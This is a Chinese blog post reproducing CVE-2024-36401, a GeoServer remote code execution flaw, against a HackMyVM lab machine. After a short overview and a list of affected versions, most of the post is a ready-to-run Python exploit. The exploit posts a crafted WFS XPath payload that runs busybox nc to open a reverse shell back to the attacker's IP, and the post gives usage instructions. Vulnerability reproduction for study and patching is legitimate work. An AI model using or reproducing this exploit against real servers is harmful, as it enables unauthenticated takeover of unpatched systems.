当前位置: 首页 > news >正文

CVE-2024-36401复现


一.漏洞概述

CVE-2024-36401 是 GeoServer 中的一个严重级远程代码执行漏洞(CVSS 9.8),允许未经身份验证的远程攻击者在服务器上执行任意代码。该漏洞源于 GeoServer 调用的 GeoTools 库 API 在评估 XPath 表达式时存在不安全处理,导致攻击者可以通过构造特制的请求执行任意代码。

影响版本

版本范围状态
GeoServer < 2.23.6受影响
2.24.0 ≤ GeoServer < 2.24.4受影响
2.25.0 ≤ GeoServer < 2.25.2受影响

安全版本:2.23.6、2.24.4、2.25.2 及以上

二.环境搭建

直接用hackmyvm上的靶机

https://hackmyvm.eu/machines/machine.php?vm=Victorique

目标网站

搓一个py代码

import requests import argparse def send_request(_target,_port,_ip,_myport): if _port: target = f"{_target}:{_port}" url = f"http://{target}/geoserver/wfs" else: target = f"{_target}" url = f"http://{target}/geoserver/wfs" headers = { "Host": target, "Content-Type": "application/xml", } payload = f""" <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime(),"busybox nc {_ip} {_myport} -e /bin/bash")' > <wfs:Query typeNames='sf:archsites'/> </wfs:GetPropertyValue> """ try: response = requests.post(url, headers=headers, data=payload, timeout=30, verify=False) if response.status_code in [401, 404, 403]: print("エラー") exit() else: print("成功") except requests.exceptions.RequestException as e: print('error', f"An error occurred: {e}") print('error', "Failed to send request!") def main(): parser = argparse.ArgumentParser(description='CVE-2024-36401') parser.add_argument('--target', required=True, help='ターゲットのホスト名を入力してください 例:http://example.com') parser.add_argument('--target_port', required=True, help='ターゲットのport番号入力してください 例:8080') parser.add_argument('--myip', required=True, help='自分のIPを入力してください 例:10.10.10.12') parser.add_argument('--myport', required=True, help='自分の待ち受けポート番号を入力してください 例:9000') args = parser.parse_args() target = args.target port = args.target_port ip= args.myip myport = args.myport send_request(target,port,ip,myport) if __name__ == "__main__": main()

使用参数

python CVE-2024-36401.py --target example.com --target_port 8080 --myip 172.26.16.100 --myport 9000

三.攻击复现

监听

运行代码

拿到shell

http://www.jsqmd.com/news/565665/

相关文章:

  • RetroArch缩略图显示异常终极解决方案:三步排查与长效优化指南
  • SPI通信协议详解
  • 非阻塞写的完整逻辑
  • 2026年天津学面点/学西点蛋糕/学烹饪技术公司推荐:天津新东方职业培训学校,初中毕业学技术优选 - 品牌推荐官
  • 告别重复查询:用快马ai为solidworks工程师定制效率提升工具
  • site指令实战:精准定位与高效屏蔽的搜索艺术
  • A实验:AI人工智能T型迷宫 AI人工智能T迷宫组成资料。
  • 2026年电网储能系统厂家推荐:江苏阿诗特能源科技,工商业/户用储能及储能逆变器等全系产品解析 - 品牌推荐官
  • ARM Cortex-M嵌入式通用头文件sarmfsw深度解析
  • Qwen3-14B可信AI实践:输出可解释性分析、偏见检测与校准方法
  • 聊聊专业的酶标仪厂家,南京德铁的酶标仪价格贵不贵? - 工业推荐榜
  • 渗透测试信息收集指南,信息收集的关键步骤与技巧详解,网络安全渗透测试核心技巧你一定要知道!
  • 2026年酶标仪实力厂商排名,南京德铁以技术质量赢得市场 - 工业品牌热点
  • 2026年全国酶标仪供应商排名,南京德铁台式酶标仪靠谱又好用 - myqiye
  • 从数据转换到空间价值:togeojson的技术解构与实践指南
  • 2026最全 Java 面试题精选(附答案):Spring全家桶高频考点整理
  • Allegro PCB设计必备:3分钟搞定带钻孔数据的DXF文件导出(附常见错误排查)
  • 2026年杜兰小麦粉怎么选?资深面制品工厂教你3招避开采购坑 - 速递信息
  • DINO注意力可视化实战指南:3步掌握视觉Transformer内部机制
  • GodotPckTool 终极指南:轻松管理 Godot 游戏资源包的完整教程
  • ngx_http_create_locations_list
  • 佛山哪里能找到不会出现水纹烂斑的隔热条厂家 - 工业品牌热点
  • 用QMK固件打造你的专属宏键盘:从配置到实战案例
  • 2026年杜兰小麦粉排行:国产VS进口,谁更适合你的生产线? - 速递信息
  • Sonobuoy高级用例:工作负载调试与性能分析实战
  • 2026年铝镁锰板厂家排名,常州泰州靠谱的铝镁锰板制造商大盘点 - mypinpai
  • 洛谷 P2014:[CTSC1997] 选课 ← 有依赖的背包问题
  • PP-DocLayoutV3与.NET生态集成:开发C#桌面端文档处理工具
  • 旧Mac升级与macOS支持完全指南:开源系统优化工具实现老旧Mac焕新
  • Ubuntu系统资源监控实战:从命令行到图形化工具全解析